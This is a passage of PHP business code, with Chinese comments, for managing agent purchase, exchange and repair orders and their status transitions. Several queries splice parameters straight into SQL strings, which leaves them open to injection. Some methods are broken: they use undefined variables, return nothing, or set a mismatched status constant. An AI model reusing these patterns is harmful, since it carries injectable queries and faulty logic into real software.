parent::errorReturnData('SupplyRecordStatus_MODIFY_FAILED', '供货记录状态修改失败'); } $agentPurchaseOrderDetail = $this->getAgentPurchaseOrderDetailByCoreOrderID($coreOrderID); $agentPurchaseOrderStatusID = $agentPurchaseOrderDetail['AgentPurchaseOrderStatusID']; $agentPurchaseOrderID = $agentPurchaseOrderDetail['AgentPurchaseOrderID']; if ($agentPurchaseOrderStatusID == parent::AGENTORDERSTATUS_DELIVERY) { /* 获取供货记录商品明细 */ $supplyRecordCount = parent::_getSupplyRecordCount( $coreOrderID, $supplyRecordID = null, $supplyRecordStatusIDList = null, $startAddTime = null, $endAddTime = null); /* 获取已供货记录商品明细 */ $supplyRecordStatusID = parent::SUPPLYRECORD_STATUS_SIGNED; $supplyRecordSignedCount = parent::_getSupplyRecordCount( $coreOrderID, $supplyRecordID = null, $supplyRecordStatusID, $startAddTime = null, $endAddTime = null); if ($supplyRecordCount == $supplyRecordSignedCount) { // 修改订单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_DELIVERY; $targetStatus = parent::AGENTORDERSTATUS_RECEIVED; $changeResult = $this->_changeAgentPurchaseOrderStatus($agentPurchaseOrderID, $oldTargetStatus, $targetStatus); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGEAGENTORDERSTATUS_IS_FAILED', '修改采购单状态失败'); } } } $this->_db->query('commit'); return parent::successReturnData(); } /** * 通过核心订单ID获取采购单详情 * @param int $coreOrderID * @return array $agentPurchaseOrderDetail */ public function getAgentPurchaseOrderDetailByCoreOrderID($coreOrderID) { $agentPurchaseOrderDetail = null; if ($coreOrderID <= 0) { return $agentPurchaseOrderDetail; } $sql = "SELECT AgentPurchaseOrderID, AgentPurchaseOrderStatusID, IsLock FROM AgentPurchaseOrder WHERE CoreOrderID = {$coreOrderID} LIMIT 1"; $agentPurchaseOrderDetail = $this->_db->getToArray($sql); return $agentPurchaseOrderDetail; } /** * 获取供货商品明细列表 * @param int $supplyRecordID 供货订单ID * @return array $supplyGoodsList */ public function getSupplyGoodsList($supplyRecordID = null) { $supplyGoodsList = parent::_getSupplyGoodsList($supplyRecordID); return $supplyGoodsList; } /** * 获取供货记录总数 * @param int $coreOrderID * @param int $supplyRecordID * @param int $supplyRecordStatusID * @param date&time $startAddTime * @param date&time $endAddTime * @return int $supplyRecordCount */ public function getSupplyRecordCount( $coreOrderID = null, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null) { $supplyRecordCount = parent::_getSupplyRecordCount( $coreOrderID, $supplyRecordID, $supplyRecordStatusID, $startAddTime, $endAddTime); return $supplyRecordCount; } /** * 获取供货记录列表 * @param int $first * @param int $limit * @param string $sortField * @param string $sortWay * @param int $coreOrderID * @param int $supplyRecordID * @param int $supplyRecordStatusID * @param date&time $startAddTime * @param date&time $endAddTime * @return array $supplyRecordList */ public function getSupplyRecordList( $first = 0, $limit = 10, $sortField = 'SupplyRecordID', $sortWay = 'DESC', $coreOrderID = null, $supplyRecordID = null, $supplyRecordStatusID = null, $startAddTime = null, $endAddTime = null) { $supplyRecordList = parent::_getSupplyRecordList( $first, $limit, $sortField, $sortWay, $coreOrderID, $supplyRecordID, $supplyRecordStatusID, $startAddTime, $endAddTime); return $supplyRecordList; } /** * 删除供货单 * @param int $coreID * @param int $supplyRecordID * @return array */ public function deleteSupplyRecord($coreOrderID, $supplyRecordID) { $this->_db->query('start transaction'); $returnData = parent::_deleteSupplyRecord($supplyRecordID); if ($returnData['status'] != 'success') { $this->_db->query('rollback'); return $returnData; } // 解锁 $result = $this->agentPurchaseOrderUnlock($coreOrderID); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentPurchaseOrder_Unlock_Failed', '采购单解锁失败'); } $this->_db->query('commit'); return parent::successReturnData(); } /************************* 渠道换货单 **************************/ /** * 获得用户订单数量,支持各种状态搜索 * @param array $pager [description] * @param array $condition array( * 'AgentID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'AgentPurchaseOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @param array $sort [description] * @return [type] [description] */ public function getAgentExchangeOrderCount( $operatorID = null, $operatorSourceID = null, $operatorSourceTypeID = null, $coreOrderID = null, $addTimeStart = null, $addTimeEnd = null, $agentExchangeOrderStatusID = null) { $count = 0; $where = ''; if ($operatorID) { $where .= " AND OperatorID = {$operatorID}"; } if ($operatorSourceID) { $where .= " AND OperatorSourceID = {$operatorSourceID}"; } if ($operatorSourceTypeID) { $where .= " AND OperatorSourceTypeID = {$operatorSourceTypeID}"; } if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($addTimeStart) { $where .= " AND AddTime >= '{$addTimeStart}'"; } if ($addTimeEnd) { $where .= " AND AddTime < '{$addTimeEnd}'"; } if ($agentExchangeOrderStatusID) { $where .= " AND AgentExchangeOrderStatusID = {$agentExchangeOrderStatusID}"; } $where = $this->_db->whereAdd($where); $sql = "select count(*) as Count from AgentExchangeOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得渠道换货单列表 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getAgentExchangeOrderList( $first = 0, $limit = 10, $sortField = 'AgentExchangeOrderID', $sortWay = 'DESC', $operatorID = null, $operatorSourceID = null, $operatorSourceTypeID = null, $coreOrderID = null, $addTimeStart = null, $addTimeEnd = null, $agentExchangeOrderStatusID = null) { $agentExchangeOrderList = array(); $where = ''; if ($operatorID) { $where .= " AND OperatorID = {$operatorID}"; } if ($operatorSourceID) { $where .= " AND OperatorSourceID = {$operatorSourceID}"; } if ($operatorSourceTypeID) { $where .= " AND OperatorSourceTypeID = {$operatorSourceTypeID}"; } if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($addTimeStart) { $where .= " AND AddTime >= '{$addTimeStart}'"; } if ($addTimeEnd) { $where .= " AND AddTime < '{$addTimeEnd}'"; } if ($agentExchangeOrderStatusID) { $where .= " AND AgentExchangeOrderStatusID = {$agentExchangeOrderStatusID}"; } $where = $this->_db->whereAdd($where); $orderBy = $this->_db->generateOrderByStr($sortField, $sortWay); $limitStr = $this->_db->generateLimitStr($first, $limit); $sql = "select * from AgentExchangeOrder {$where} {$orderBy} {$limitStr}"; $agentExchangeOrderList = $this->_db->loadToArray($sql); return $agentExchangeOrderList; } /** * 获取渠道换货单详情 */ public function getAgentExchangeOrderDetail($coreOrderID = null) { $agentExchangeOrderDetail = $this->_getAgentExchangeOrderDetail($agentExchangeOrderID); } /** * 获取渠道换货单详情 * @access private * @param int agentExchangeOrderID * @return array $agentExchangeOrderDetail */ private function _getAgentExchangeOrderDetail($agentExchangeOrderID) { $agentExchangeOrderDetail = array(); $sql = "SELECT * FROM AgentExchangeOrder WHERE AgentExchangeOrderID = {$agentExchangeOrderID}"; $agentExchangeOrderDetail = $this->_db->getToArray($sql); return $agentExchangeOrderDetail; } /** * 生成渠道换货单 * @param array $orderInfo * @return array $returnData */ public function generateAgentExchangeOrder($orderInfo = null) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('OrderInfo_IS_NULL', '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] != 'success') { $returnData = $coreOrderInfo; $this->_db->query('rollback'); return $returnData; } $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 AgentPurchaseOrder 表之中。 $agentExchangeOrderID = $this->_addAgentExchangeOrder($orderInfo, $coreOrderID); if ($agentExchangeOrderID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrder_ADD_FAILED', '渠道换货单添加失败'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'AgentExchangeOrder', $agentExchangeOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrder_MODIFY_FAILED','回写到核心订单表中时出错'); } $goodsEntityList = $orderInfo['GoodsEntityList']; $result = parent::addGoodsEntity($coreOrderID, $goodsEntityList); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderGoodsEntity_ADD_FAILED','订单货品明细添加失败'); } $successData = array( 'AgentExchangeOrderID'=>$agentExchangeOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道换货单-初审通过 * @param int $agentExchangeOrderID 渠道换货单ID * @param array $verifyResult 审核结果 * @param int $warehouseInfo 仓库信息 * @return array */ public function agentExchangeOrderVerifySuccess( $agentExchangeOrderID = null, $verifyResult = null, $warehouseInfo = null) { if ($agentExchangeOrderID <= 0) { return parent::errorReturnData('AgentExchangeOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); // 添加审核记录 $verifyResult['AgentExchangeOrderID'] = $agentExchangeOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_AGREE; $agentExchangeOrderVerifyRecordID = $this->_addAgentExchangeOrderVerifyRecord($verifyResult); if ($agentExchangeOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrderVerifyRecord_ADD_FAILED', '审核记录通过添加失败'); } // 修改渠道换货单内容 $orderInfo['AgentExchangeOrderID'] = (int)$agentExchangeOrderID; $orderInfo['WarehouseID'] = (int)$warehouseInfo['WarehouseID']; $orderInfo['ReceiverName'] = trim($warehouseInfo['ReceiverName']); $orderInfo['ReceiverMobile'] = trim($warehouseInfo['ReceiverMobile']); $orderInfo['ReceiverProvinceID'] = (int)$warehouseInfo['ReceiverProvinceID']; $orderInfo['ReceiverCityID'] = (int)$warehouseInfo['ReceiverCityID']; $orderInfo['ReceiverAreaID'] = (int)$warehouseInfo['ReceiverAreaID']; $orderInfo['ReceiverAddress'] = trim($warehouseInfo['ReceiverAddress']); $agentExchangeOrderVerifyRecordID = $this->_modifyAgentExchangeOrder($orderInfo); if ($agentExchangeOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrder_Modify_FAILED', '渠道换货单修改失败'); } // 修改渠道换货单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_APPLY_BARTER; $targetStatus = parent::AGENTORDERSTATUS_BARTER_SUCCESS; $result = $this->_changeAgentExchangeOrderStatus($agentExchangeOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrderStatus_Modify_FAILED', '渠道换货单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道换货单-初审失败 * @param int $agentExchangeOrderID 渠道换货单ID * @param array $verifyResult 审核结果 * @return array */ public function agentExchangeOrderVerifyFailed( $agentExchangeOrderID = null, $verifyResult = null) { if ($agentExchangeOrderID <= 0) { return parent::errorReturnData('AgentExchangeOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); // 添加审核记录 $verifyResult['AgentExchangeOrderID'] = $agentExchangeOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_REFUSE; $agentExchangeOrderVerifyRecordID = $this->_addAgentExchangeOrderVerifyRecord($verifyResult); if ($agentExchangeOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrderVerifyRecord_ADD_FAILED', '审核记录不通过添加失败'); } // 修改渠道换货单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_APPLY_BARTER; $targetStatus = parent::AGENTORDERSTATUS_BARTER_FAILURE; $result = $this->_changeAgentExchangeOrderStatus($agentExchangeOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrderStatus_Modify_FAILED', '渠道换货单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道换货单-发货 * agentExchangeOrderSendGoods * * @param int $agentExchangeOrderID 渠道换货单ID * @return array */ public function agentExchangeOrderSendGoods( $agentExchangeOrderID = null, $returnrLogisticCompanyID = null, $returnLogisticsNumber = null) { if ($agentExchangeOrderID <= 0) { return parent::errorReturnData('AgentExchangeOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); $orderInfo['AgentExchangeOrderID'] = (int)$agentExchangeOrderID; $orderInfo['ReturnrLogisticCompanyID'] = trim($returnrLogisticCompanyID); $orderInfo['ReturnLogisticsNumber'] = trim($returnLogisticsNumber); $agentExchangeOrderVerifyRecordID = $this->_modifyAgentExchangeOrder($orderInfo); if ($agentExchangeOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrder_Modify_FAILED', '渠道换货单修改失败'); } $oldTargetStatus = parent::AGENTORDERSTATUS_BARTER_SUCCESS; $targetStatus = parent::AGENTORDERSTATUS_BARTER_DELIVERY; $result = $this->_changeAgentExchangeOrderStatus($agentExchangeOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentExchangeOrderStatus_Modify_FAILED', '渠道换货单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /******************* 渠道换货单 (私有方法) start *********************/ /** * 生成换货单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateAgentExchangeOrderWhereCondition($condition = array()) { $prepareCondition = array( 'AgentExchangeOrderID'=> null, 'AgentExchangeOrderStatusID'=> null ); $group = array(); $group['intGroup'] = array('AgentID','HandlerTypeID','HandlerID'); $group['intOrArrayGroup'] = array('AgentPurchaseOrderStatusID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 添加审核记录 * _addAgentExchangeOrderVerifyRecord * * @param array $verifyResult * @return int $agentExchangeOrderVerifyRecordID */ private function _addAgentExchangeOrderVerifyRecord($verifyResult) { $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $agentExchangeOrderVerifyRecordID = $this->_db->saveFromArray('AgentExchangeOrderVerifyRecord', $verifyResult); return $agentExchangeOrderVerifyRecordID; } /** * 添加渠道换货单 * _addAgentExchangeOrder * * @param array $orderInfo * @param int $coreOrderID * @return int $agentExchangeOrderID */ private function _addAgentExchangeOrder($orderInfo, $coreOrderID) { $agentExchangeOrderInfo['CoreOrderID'] = (int)$coreOrderID; $agentExchangeOrderInfo['AgentTypeID'] = (int)$orderInfo['AgentTypeID']; $agentExchangeOrderInfo['AgentID'] = (int)$orderInfo['AgentID']; $agentExchangeOrderInfo['SenderName'] = trim($orderInfo['SenderName']); $agentExchangeOrderInfo['SenderMobile'] = trim($orderInfo['SenderMobile']); $agentExchangeOrderInfo['SenderProvinceID'] = (int)$orderInfo['SenderProvinceID']; $agentExchangeOrderInfo['SenderCityID'] = (int)$orderInfo['SenderCityID']; $agentExchangeOrderInfo['SenderAreaID'] = (int)$orderInfo['SenderAreaID']; $agentExchangeOrderInfo['SenderAddress'] = trim($orderInfo['SenderAddress']); $agentExchangeOrderInfo['OperatorID'] = (int)$orderInfo['OperatorID']; $agentExchangeOrderInfo['OperatorSourceID'] = (int)$orderInfo['OperatorSourceID']; $agentExchangeOrderInfo['OperatorSourceTypeID'] = (int)$orderInfo['OperatorSourceTypeID']; $agentExchangeOrderInfo['AddTime'] = date('Y-m-d H:i:s'); $agentExchangeOrderInfo['AgentExchangeOrderStatusID'] = parent::AGENTORDERSTATUS_APPLY_BARTER; $agentExchangeOrderID = $this->_db->saveFromArray('AgentExchangeOrder', $agentExchangeOrderInfo); return $agentExchangeOrderID; } /** * 修改渠道换货单 * _addAgentExchangeOrder * * @param array $orderInfo * @param int $coreOrderID * @return int $agentExchangeOrderID */ private function _modifyAgentExchangeOrder($orderInfo = null) { $agentExchangeOrderID = 0; if ((int)$orderInfo['AgentExchangeOrderID'] <= 0) { return $agentExchangeOrderID; } if ($orderInfo['AddTime']) { unset($orderInfo['AddTime']); } $agentExchangeOrderID = $this->_db->saveFromArray('AgentExchangeOrder', $agentExchangeOrderInfo); return $agentExchangeOrderID; } /** * 更改换货单订单状态 * @param [type] $targetStatus [description] * @return [type] [description] */ private function _changeAgentExchangeOrderStatus($agentExchangeOrderID, $oldTargetStatus, $targetStatus) { if (!$agentExchangeOrderID) { return false; } $agentExchangeOrderIDChangeList = array( array(parent::AGENTORDERSTATUS_APPLY_BARTER, parent::AGENTORDERSTATUS_BARTER_SUCCESS), array(parent::AGENTORDERSTATUS_APPLY_BARTER, parent::AGENTORDERSTATUS_BARTER_FAILURE), array(parent::AGENTORDERSTATUS_BARTER_SUCCESS, parent::AGENTORDERSTATUS_BARTER_DELIVERY) ); if (!in_array(array($oldTargetStatus, $targetStatus), $agentExchangeOrderIDChangeList)) { return false; } $sql = "UPDATE AgentExchangeOrder SET AgentExchangeOrderStatusID = {$targetStatus} WHERE AgentExchangeOrderID = {$agentExchangeOrderID} AND AgentExchangeOrderStatusID = {$oldTargetStatus}"; $result = $this->_db->query($sql); if (!$result) { return false; } $affectedRows = $this->_db->affectedRows(); if ($affectedRows <= 0) { return false; } return true; } /******************* 渠道换货单 (私有方法) end *********************/ /************************* 渠道返修单 **************************/ /** * 获得渠道返修单 * @access public * @param int $operatorID * @param int $operatorSourceID * @param int $operatorSourceTypeID * @param int $coreOrderID * @param date&time $addTimeStart * @param date&time $addTimeEnd * @param int $agentExchangeOrderStatusID * @return int $count */ public function getAgentRepairOrderCount( $operatorID = null, $operatorSourceID = null, $operatorSourceTypeID = null, $coreOrderID = null, $addTimeStart = null, $addTimeEnd = null, $agentRepairOrderStatusID = null) { $count = 0; $where = ''; if ($operatorID) { $where .= " AND OperatorID = {$operatorID}"; } if ($operatorSourceID) { $where .= " AND OperatorSourceID = {$operatorSourceID}"; } if ($operatorSourceTypeID) { $where .= " AND OperatorSourceTypeID = {$operatorSourceTypeID}"; } if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($addTimeStart) { $where .= " AND AddTime >= '{$addTimeStart}'"; } if ($addTimeEnd) { $where .= " AND AddTime < '{$addTimeEnd}'"; } if ($agentRepairOrderStatusID) { $where .= " AND AgentRepairOrderStatusID = {$agentRepairOrderStatusID}"; } $where = $this->_db->whereAdd($where); $sql = "select count(*) as Count from AgentRepairOrder {$where}"; $result = $this->_db->getToArray($sql); $count = $result['Count']; return $count; } /** * 获得渠道换货单列表 * @param array $pager [description] * @param array $condition [description] * @param array $sort [description] * @return [type] [description] */ public function getAgentRepairOrderList( $first = 0, $limit = 10, $sortField = 'AgentExchangeOrderID', $sortWay = 'DESC', $operatorID = null, $operatorSourceID = null, $operatorSourceTypeID = null, $coreOrderID = null, $addTimeStart = null, $addTimeEnd = null, $agentRepairOrderStatusID = null) { $agentRepairOrderList = array(); $where = ''; if ($operatorID) { $where .= " AND OperatorID = {$operatorID}"; } if ($operatorSourceID) { $where .= " AND OperatorSourceID = {$operatorSourceID}"; } if ($operatorSourceTypeID) { $where .= " AND OperatorSourceTypeID = {$operatorSourceTypeID}"; } if ($coreOrderID) { $where .= " AND CoreOrderID = {$coreOrderID}"; } if ($addTimeStart) { $where .= " AND AddTime >= '{$addTimeStart}'"; } if ($addTimeEnd) { $where .= " AND AddTime < '{$addTimeEnd}'"; } if ($agentRepairOrderStatusID) { $where .= " AND AgentRepairOrderStatusID = {$agentRepairOrderStatusID}"; } $where = $this->_db->whereAdd($where); $orderBy = $this->_db->generateOrderByStr($sortField, $sortWay); $limitStr = $this->_db->generateLimitStr($first, $limit); $sql = "select * from AgentRepairOrder {$where} {$orderBy} {$limitStr}"; $agentRepairOrderList = $this->_db->loadToArray($sql); return $agentRepairOrderList; } /** * 获取渠道换货单详情 */ public function getAgentRepairOrderDetail($coreOrderID = null) { $agentRepairOrderDetail = $this->_getAgentRepairOrderDetail($agentRepairOrderID); } /** * 获取渠道换货单详情 * @access private * @param int agentExchangeOrderID * @return array $agentExchangeOrderDetail */ private function _getAgentRepairOrderDetail($agentRepairOrderID) { $agentRepairOrderDetail = array(); $sql = "SELECT * FROM AgentRepairOrder WHERE AgentRepairOrderID = {$agentRepairOrderID}"; $agentRepairOrderDetail = $this->_db->getToArray($sql); return $agentRepairOrderDetail; } /** * 生成渠道换货单 * @param array $orderInfo * @return array $returnData */ public function generateAgentRepairOrder($orderInfo = null) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('OrderInfo_IS_NULL', '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] != 'success') { $returnData = $coreOrderInfo; $this->_db->query('rollback'); return $returnData; } $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 AgentPurchaseOrder 表之中。 $agentRepairOrderID = $this->_addAgentRepairOrder($orderInfo, $coreOrderID); if ($agentRepairOrderID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrder_ADD_FAILED', '渠道返修单添加失败'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'AgentRepairOrder', $agentRepairOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrder_MODIFY_FAILED','回写到核心订单表中时出错'); } $goodsEntityList = $orderInfo['GoodsEntityList']; $result = parent::addGoodsEntity($coreOrderID, $goodsEntityList); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('CoreOrderGoodsEntity_ADD_FAILED','订单货品明细添加失败'); } $successData = array( 'AgentRepairOrderID'=>$agentRepairOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道返修单-初审通过 * @param int $agentRepairOrderID 渠道返修单ID * @param array $verifyResult 审核结果 * @param int $warehouseInfo 仓库信息 * @return array */ public function agentRepairOrderVerifySuccess( $agentRepairOrderID = null, $verifyResult = null, $warehouseInfo = null) { if ($agentRepairOrderID <= 0) { return parent::errorReturnData('AgentRepairOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); // 添加审核记录 $verifyResult['AgentRepairOrderID'] = $agentRepairOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_AGREE; $agentRepairOrderVerifyRecordID = $this->_addAgentRepairOrderVerifyRecord($verifyResult); if ($agentRepairOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrderVerifyRecord_ADD_FAILED', '审核记录通过添加失败'); } // 修改渠道换货单内容 $orderInfo['AgentRepairOrderID'] = (int)$agentRepairOrderID; $orderInfo['WarehouseID'] = (int)$warehouseInfo['WarehouseID']; $orderInfo['ReceiverName'] = trim($warehouseInfo['ReceiverName']); $orderInfo['ReceiverMobile'] = trim($warehouseInfo['ReceiverMobile']); $orderInfo['ReceiverProvinceID'] = (int)$warehouseInfo['ReceiverProvinceID']; $orderInfo['ReceiverCityID'] = (int)$warehouseInfo['ReceiverCityID']; $orderInfo['ReceiverAreaID'] = (int)$warehouseInfo['ReceiverAreaID']; $orderInfo['ReceiverAddress'] = trim($warehouseInfo['ReceiverAddress']); $agentRepairOrderVerifyRecordID = $this->_modifyAgentRepairOrder($orderInfo); if ($agentRepairOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrder_Modify_FAILED', '渠道换货单修改失败'); } // 修改渠道换货单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_APPLY_REPAIR; $targetStatus = parent::AGENTORDERSTATUS_REPAIR_SUCCESS; $result = $this->_changeAgentRepairOrderStatus($agentRepairOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrderStatus_Modify_FAILED', '渠道返修单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道换货单-初审失败 * @param int $agentExchangeOrderID 渠道换货单ID * @param array $verifyResult 审核结果 * @return array */ public function agentRepairOrderVerifyFailed( $agentRepairOrderID = null, $verifyResult = null) { if ($agentRepairOrderID <= 0) { return parent::errorReturnData('AgentRepairOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); // 添加审核记录 $verifyResult['AgentRepairOrderID'] = $agentRepairOrderID; $verifyResult['ResultID'] = parent::AGENTORDER_VERIFYRESULT_REFUSE; $agentRepairOrderVerifyRecordID = $this->_addAgentRepairOrderVerifyRecord($verifyResult); if ($agentRepairOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrderVerifyRecord_ADD_FAILED', '审核记录不通过添加失败'); } // 修改渠道换货单状态 $oldTargetStatus = parent::AGENTORDERSTATUS_APPLY_REPAIR; $targetStatus = parent::AGENTORDERSTATUS_REPAIR_FAILURE; $result = $this->_changeAgentRepairOrderStatus($agentRepairOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrderStatus_Modify_FAILED', '渠道换货单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /** * 渠道换货单-发货 * agentExchangeOrderSendGoods * * @param int $agentExchangeOrderID 渠道换货单ID * @return array */ public function agentRepairOrderSendGoods( $agentRepairOrderID = null, $returnrLogisticCompanyID = null, $returnLogisticsNumber = null) { if ($agentRepairOrderID <= 0) { return parent::errorReturnData('AgentRepairOrderID_IS_NULL', '没有获取到渠道换货单ID'); } $this->_db->query('start transaction'); $orderInfo['AgentRepairOrderID'] = (int)$agentRepairOrderID; $orderInfo['ReturnrLogisticCompanyID'] = trim($returnrLogisticCompanyID); $orderInfo['ReturnLogisticsNumber'] = trim($returnLogisticsNumber); $agentRepairOrderVerifyRecordID = $this->_modifyAgentRepairOrder($orderInfo); if ($agentRepairOrderVerifyRecordID <= 0) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrder_Modify_FAILED', '渠道换货单修改失败'); } $oldTargetStatus = parent::AGENTORDERSTATUS_REPAIR_SUCCESS; $targetStatus = parent::AGENTORDERSTATUS_REPAIR_DELIVERY; $result = $this->_changeAgentRepairOrderStatus($agentRepairOrderID, $oldTargetStatus, $targetStatus); if (!$result) { $this->_db->query('rollback'); return parent::errorReturnData('AgentRepairOrderStatus_Modify_FAILED', '渠道换货单状态修改失败'); } $successData = array(); $this->_db->query('commit'); $returnData = parent::successReturnData($successData); return $returnData; } /******************* 渠道换货单 (私有方法) start *********************/ /** * 生成换货单的搜索条件 * @param array $condition [description] * @return [type] [description] */ private function _generateAgentRepairOrderWhereCondition($condition = array()) { $prepareCondition = array( 'AgentRepairOrderID'=> null, 'AgentRepairOrderStatusID'=> null ); $group = array(); $group['intGroup'] = array('AgentID','HandlerTypeID','HandlerID'); $group['intOrArrayGroup'] = array('AgentPurchaseOrderStatusID'); $group['stringGroup'] = array('ReceiverName','ReceiverMobile'); $where = $this->_generateWhereCondition($condition,$prepareCondition,$group); return $where; } /** * 添加审核记录 * _addAgentRepairOrderVerifyRecord * * @param array $verifyResult * @return int $agentExchangeOrderVerifyRecordID */ private function _addAgentRepairOrderVerifyRecord($verifyResult) { $verifyResult['AddTime'] = date('Y-m-d H:i:s'); $agentExchangeOrderVerifyRecordID = $this->_db->saveFromArray('AgentRepairOrderVerifyRecord', $verifyResult); return $agentExchangeOrderVerifyRecordID; } /** * 添加渠道返修单 * _addAgentRepairOrder * * @param array $orderInfo * @param int $coreOrderID * @return int $agentRepairOrderID */ private function _addAgentRepairOrder($orderInfo, $coreOrderID) { $agentRepairOrderInfo['CoreOrderID'] = (int)$coreOrderID; $agentRepairOrderInfo['AgentTypeID'] = (int)$orderInfo['AgentTypeID']; $agentRepairOrderInfo['AgentID'] = (int)$orderInfo['AgentID']; $agentRepairOrderInfo['SenderName'] = trim($orderInfo['SenderName']); $agentRepairOrderInfo['SenderMobile'] = trim($orderInfo['SenderMobile']); $agentRepairOrderInfo['SenderProvinceID'] = (int)$orderInfo['SenderProvinceID']; $agentRepairOrderInfo['SenderCityID'] = (int)$orderInfo['SenderCityID']; $agentRepairOrderInfo['SenderAreaID'] = (int)$orderInfo['SenderAreaID']; $agentRepairOrderInfo['SenderAddress'] = trim($orderInfo['SenderAddress']); $agentRepairOrderInfo['OperatorID'] = (int)$orderInfo['OperatorID']; $agentRepairOrderInfo['OperatorSourceID'] = (int)$orderInfo['OperatorSourceID']; $agentRepairOrderInfo['OperatorSourceTypeID'] = (int)$orderInfo['OperatorSourceTypeID']; $agentRepairOrderInfo['AddTime'] = date('Y-m-d H:i:s'); $agentRepairOrderInfo['AgentRepairOrderStatusID'] = parent::MEMBERORDERSTATUS_APPLY_REPAIR; $agentRepairOrderID = $this->_db->saveFromArray('AgentRepairOrder', $agentRepairOrderInfo); return $agentRepairOrderID; } /** * 修改渠道换货单 * _addAgentRepairOrder * * @param array $orderInfo * @param int $coreOrderID * @return int $agentRepairOrderID */ private function _modifyAgentRepairOrder($orderInfo = null) { $agentRepairOrderID = 0; if ((int)$orderInfo['AgentRepairOrderID'] <= 0) { return $agentRepairOrderID; } if ($orderInfo['AddTime']) { unset($orderInfo['AddTime']); } $agentRepairOrderID = $this->_db->saveFromArray('AgentRepairOrder', $orderInfo); return 